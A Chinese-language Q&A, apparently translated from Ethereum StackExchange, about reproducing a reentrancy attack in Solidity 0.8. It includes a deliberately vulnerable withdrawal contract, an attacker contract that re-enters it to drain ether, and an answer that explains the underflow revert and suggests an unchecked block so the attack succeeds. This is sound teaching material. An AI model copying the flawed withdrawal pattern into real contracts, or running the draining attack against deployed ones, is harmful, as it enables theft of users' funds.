Reentrant-Attacks

無法重現重入錯誤

  • February 9, 2022

我正在嘗試使用 solc 0.8.0 重現可重入錯誤:

我有兩個契約,

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Reentrancy {
   uint256 public withdrawalLimit = 1 ether;
   mapping(address => uint256) public lastWithdrawTime;
   mapping(address => uint256) public balances;

   function depositFunds() external payable {
       balances[msg.sender] += msg.value;
   }

   function withdrawFunds(uint256 _weiToWithdraw) public {
       require(balances[msg.sender] >= _weiToWithdraw);
       require(_weiToWithdraw <= withdrawalLimit);
       require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
       (bool success, ) = (msg.sender.call{value: _weiToWithdraw}(""));
       require(success);
       balances[msg.sender] -= _weiToWithdraw;
       lastWithdrawTime[msg.sender] = block.timestamp;
   }
}

另一個攻擊易受攻擊的合約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrancy.sol";

contract AttackReentrancy {
   Reentrancy public reentrancy;

   constructor(address _reentrancyAddress) {
       reentrancy = Reentrancy(_reentrancyAddress);
   }

   function attack() external payable {
       require(msg.value >= 1 ether);
       reentrancy.depositFunds{value: 1 ether}();
       reentrancy.withdrawFunds(1 ether);
   }

   function collectEther() public {
       payable(msg.sender).transfer(address(this).balance);
   }

   receive() external payable {
       if (address(reentrancy).balance > 1 ether) {
           reentrancy.withdrawFunds(1 ether);
       }
   }
}

但是當我用松露呼叫它時,它只會拋出異常reentrancy.withdrawFunds(1 ether);,我得到了Error: Returned error: VM Exception while processing transaction: revert

那麼,sol 編譯器中是否啟用了任何內置保護?

您的可重入不斷失敗的原因是這一行: balances[msg.sender] -= _weiToWithdraw;

在 0.8.0 之後,編譯器會自動檢查溢出和溢出錯誤,並在發生這種情況時拋出異常。由於 balances 是 uint 的地址映射,因此沒有 0 以下的值,並且在嘗試提取的餘額超過餘額後,合約將嘗試減少 0 以下的餘額金額,導致下溢並引發錯誤,還原所有更改。

您可以使用 unchecked{balances[msg.sender] -= _weiToWithdraw;} 它來查看是否可以修復它。

引用自:https://ethereum.stackexchange.com/questions/119398